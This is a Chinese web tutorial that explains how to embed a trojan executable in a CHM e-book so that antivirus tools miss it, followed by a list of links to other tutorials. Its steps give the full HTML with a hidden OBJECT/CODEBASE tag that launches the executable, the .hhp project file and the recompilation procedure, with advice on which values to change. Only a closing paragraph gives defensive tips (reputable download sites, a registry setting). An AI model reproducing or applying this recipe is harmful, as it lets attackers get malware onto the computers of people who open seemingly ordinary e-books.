CHM电子书木马制作攻略教程

说起CHM格式的电子书，可能无人不晓。有很大一部分电子图书都是使用CHM格式编译的。由于木马程序嵌入了电子书中，杀毒软件无法对其中存在的病毒等破坏性程序进行检查和清除。想知道这类电子书的制作方法吗？今天笔者就以实例形式和大家一道分析一下。 
　　Step1:要想制作一个完美的CHM木马，当然少不了电子书的制作工具。在这里我们选择微软自家的Microsoft HTML Help Workshop。
　　当然了，作为木马程序的载体，一本CHM电子书是少不了的。本文演示所采用的是系统帮助文件中现成的windows.chm。

　　Step2:首先运行windows.chm，在右侧的空白处点击右键菜单，进入"属性"页。记录下该电子文档的默认主页default.htm和标题栏文字Windows 2000两项信息。

　　Step3:接下来需要制作一个可以让木马运行并且同时可以自动跳转到windows.chm默认主页的网页，例如cytkk.htm，源代码如下：

<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='default.htm'">
</HEAD>
<BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobje
ct" CODEBASE="灰色按钮克星.exe">
</OBJECT>
</BODY>
</HTML>

　　代码注释：

　　content="3是转向时间（单位为秒），可以根据木马程序的运行时间自行修改，建议不要超过5秒。其中的default.htm可以改为你用的电子书的默认主页名，灰色按钮克星.exe为木马程序名，你可以根据情况更改。

　　Step4:运行HTML Help Workshop，选择文件菜单下的反编译项。接下来在反编译后的目录中可以看到windows.hhc（对应帮助文档左侧的"目录"项）和windows.hhk（对应帮助文档左侧的"索引"项）。

　　Step5:现在要做的就是把木马程序复制到反编译后的目录中（本文中以插入灰色按钮克星.exe这款小软件为例），并在此目录下建立一个例如文件名为cytkk.hhp的文件（用记事本即可），代码如下：

[OPTIONS]
Compatibility=1.1 or later
Compiled file=windows.chm
Default Window=Main
Language=0x804 中文(中国)
[WINDOWS]
Main="Windows 2000","windows.hhc","windows.hhk","cytkk.htm",,,,,,0x420,150,0x104E,,0x0,0x0,,,,,0
[FILES]
cytkk.htm

　　灰色按钮克星.exe

　　代码注释：

　　windows.chm可以改为你要生成的电子书名，而灰色按钮克星.exe则把它改为要嵌入的木马程序名，Main=后面改为在第一步时你得到的标题栏文字，windows.hhc及windows.hhk分别改为第三步得到的文件名。

　　最后用HTML Help Workshop打开cytkk.hhp，点击"文件"→"编译"，待提示完成后，就可以在目标目录中发现已经编译好的带有木马的电子书windows.chm了。

　　高手传经：防之有道

　　我们不可能对下载的每本书都进行反编译工作来加以检查，那是会累死人的。笔者建议大家在下载电子书籍时，尽量去知名网站下载。
另外读者朋友们也可以修改本地安全属性，使CHM木马无法在本地运行木马程序，将注册表"HKEY_CURRENT_U
SER\Software\Microsoft\Windows\Current
Version\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3。

赞 (0)

相关推荐

  • CHM电子书木马制作攻略教程

    说起CHM格式的电子书,可能无人不晓.有很大一部分电子图书都是使用CHM格式编译的.由于木马程序嵌入了电子书中,杀毒软件无法对其中存在的病毒等破坏性程序进行检查和清除.想知道这类电子书的制作方法吗?今天笔者就以实例形式和大家一道分析一下.  Step1:要想制作一个完美的CHM木马,当然少不了电子书的制作工具.在这里我们选择微软自家的Microsoft HTML Help Workshop. 当然了,作为木马程序的载体,一本CHM电子书是少不了的.本文演示所采用的是系统帮助文件中现成的windo

  • 防御网络游戏外挂木马全攻略

    目前,很多人在各绝对女神论坛中发布各种所谓的外挂程序,或者不明网站的链接,我们奉劝各位,千万不要点击.因为那很有可能会捆绑一个"键盘纪录器". 为了您账号的安全,请您留心一下这些隐藏在诱惑中的"黑手".建议您下载专业杀木马软件. 防范方法: 1.请将IE的"INTERNET选项"的"高级"设置为"恢复默认设置". 2.不要安装和下载一些来历不明的软件,特别是一些所谓的女神外挂程序. 3.不要随便打开来历不明

  • Java Web项目中验证码功能的制作攻略

    Java Web项目中验证码功能的制作攻略

    一.前言 在表单页面中使用验证码的好处在于有效防止用户恶意提交表单,或者使用外挂非法攻击系统. 二.准备条件 1.一个普通的web项目 webProject: 2.一个web服务器 Tomcat. 三.实现思路: 1.自定义一个servlet  VerifyCodeServlet 画一个包含验证字符的验证码图片,这里的图片需要使用Graphics2D手动去画: 2.在具体页面使用img标签的src引用这个servlet即可显示servlet: 3.因为画图的时候把验证码信息放入了session,

  • 微信公众帐号开发教程之图文消息全攻略

    微信公众帐号开发教程之图文消息全攻略

    引言及内容概要 已经有几位读者抱怨"柳峰只用到文本消息作为示例,从来不提图文消息,都不知道图文消息该如何使用",好吧,我错了,原本以为把基础API封装完.框架搭建好,再给出一个文本消息的使用示例,大家就能够照猫画虎的,或许是因为我的绘画功底太差,画出的那只猫本来就不像猫吧-- 本篇主要介绍微信公众帐号开发中图文消息的使用,以及图文消息的几种表现形式.标题取名为"图文消息全攻略",这绝对不是标题党,是想借此机会把大家对图文消息相关的问题.疑虑.障碍全部清除掉. 图文消

  • phpMyAdmin 安装教程全攻略

    管理MYSQL数据库的最好工具是PHPmyAdmin,现在最新版本是phpMyAdmin 2.9.0.2,这是一个国际上开源的软件,一直在更新版本,你可以从 http://www.phpmyadmin.net 官方网站上下载到,安装后可以远程更新数据库(其实是在服务器上安装).  安装办法请参考:  phpMyAdmin  安装攻略  1.先下载 phpMyAdmin 安装包 ,http://www.phpmyadmin.net  2.解压后一个单独目录中(你可以自定义目录名称)  3.找到 /

  • axios学习教程全攻略

    axios学习教程全攻略

    前言 随着 vuejs 作者尤雨溪发布消息,不再继续维护vue-resource,并推荐大家使用 axios 开始,axios 被越来越多的人所了解.本来想在网上找找详细攻略,突然发现,axios 的官方文档本身就非常详细!!有这个还要什么自行车!!所以推荐大家学习这种库,最好详细阅读其官方文档.大概翻译了一下 axios 的官方文档,相信大家只要吃透本文再加以实践,axios 就是小意思啦!! 如果您觉得本文对您有帮助,不妨点个赞或关注收藏一下,您的鼓励对我非常重要. axios 简介 axi

  • VSCode插件开发全攻略之打包、发布、升级的详细教程

    一.发布方式 插件开发完了,如何发布出去分享给他人呢?主要有3种方法: 方法一:直接把文件夹发给别人,让别人找到vscode的插件存放目录并放进去,然后重启vscode,一般不推荐: 方法二:打包成vsix插件,然后发送给别人安装,如果你的插件涉及机密不方便发布到应用市场,可以尝试采用这种方式: 方法三:注册开发者账号,发布到官网应用市场,这个发布和npm一样是不需要审核的. 二.本地打包 无论是本地打包还是发布到应用市场都需要借助vsce这个工具. 安装: npm i vsce -g 打包成v

  • 剖析各类恶意网页对策分析—注册表使用全攻略之七

    剖析各类恶意网页对策分析-注册表使用全攻略之七 互联网利用IE等的漏洞完全可以让你通过浏览网页让你的电脑面目全非,或者格盘,甚至中下木马,传播病毒,而且这种形式的传播愈演愈烈,闲话少说了,现在来分析一下各类恶意网页. 分析前先介绍一下注册表的修改方法,因为注册表在网页病毒中是中枢,就是通过它让你的电脑面目全非. 第一种方法:直接修改法 就是在运行里敲入regedit,然后进行编辑,这是大家通常修改注册表的方法. 第二种方法:reg包导入法 现在以解锁注册表为例(其实解锁用兔子等工具更好更方便,这

  • Windows 2000、XP、2003登录密码恢复攻略

    一.删除SAM文件,清除Administrator账号密码 二.从SAM文件中查找密码        1.L0phtCrack (LC)        2.LCP        3.SamInside pro 三.用Net User命令恢复系统登陆用户密码 四.用密码重设盘设新密码 五.修改屏保文件法 六.使用软件修改密码 Windows XP 2000 NT Password Recovery Key CleanPwd Offline NT Password & Registry Editor

  • Windows 服务器安全设置攻略

    前言 其实,在服务器的安全设置方面,我虽然有一些经验,但是还谈不上有研究,所以我写这篇文章的时候心里很不踏实,总害怕说错了会误了别人的事. 本文更侧重于防止ASP漏洞攻击,所以服务器防黑等方面的讲解可能略嫌少了点. 基本的服务器安全设置 安装补丁安装好操作系统之后,最好能在托管之前就完成补丁的安装,配置好网络后,如果是2000则确定安装上了SP4,如果是2003,则最好安装上SP1,然后点击开始→Windows Update,安装所有的关键更新. 安装杀毒软件虽然杀毒软件有时候不能解决问题,但是

随机推荐